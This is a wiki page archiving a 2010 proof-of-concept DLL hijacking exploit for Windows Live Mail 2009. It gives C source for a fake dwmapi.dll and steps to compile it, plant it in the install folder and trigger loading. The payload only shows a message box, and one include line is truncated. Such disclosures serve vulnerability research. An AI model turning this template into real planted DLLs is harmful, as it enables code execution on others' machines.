用户工具

站点工具


dll_劫持代码:windows_live_mail_2009

Windows Live Mail 2009(Build 14.0.8089.0

所属类别 dwmapi.dll

dwmapi.c
/*
==========================================================================================
Microsoft Windows Live Mail 2009 (Build 14.0.8089.0726) DLL Hijacking Exploit (dwmapi.dll) 
==========================================================================================
$ Program: Microsoft Windows Live Mail
$ Version: 2009 (Build 14.0.8089.0726)
$ Download: http://download.live.com/wlmail
$ Date: 2010/10/08
Found by Pepelux 
http://www.pepelux.org
eNYe-Sec - www.enye-sec.org
Tested on: Windows XP SP2 && Windows XP SP3
How  to use : 
1> Compile this code as dwmapi.dll
	gcc -shared -o dwmapi.dll thiscode.c
2> Move DLL file to the directory where Windows Live Mail is installed
3> Open any file recognized by Windows Live Mail
*/
 
#include 
#define DllExport __declspec (dllexport)
int mes()
{
  MessageBox(0, "DLL Hijacking vulnerable", "Pepelux", MB_OK);
  return 0;
}
BOOL WINAPI  DllMain (
			HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
{mes();}
你需要登录发表评论。
dll_劫持代码/windows_live_mail_2009.txt · 最后更改: 2020/05/16 19:19 (外部编辑)

页面工具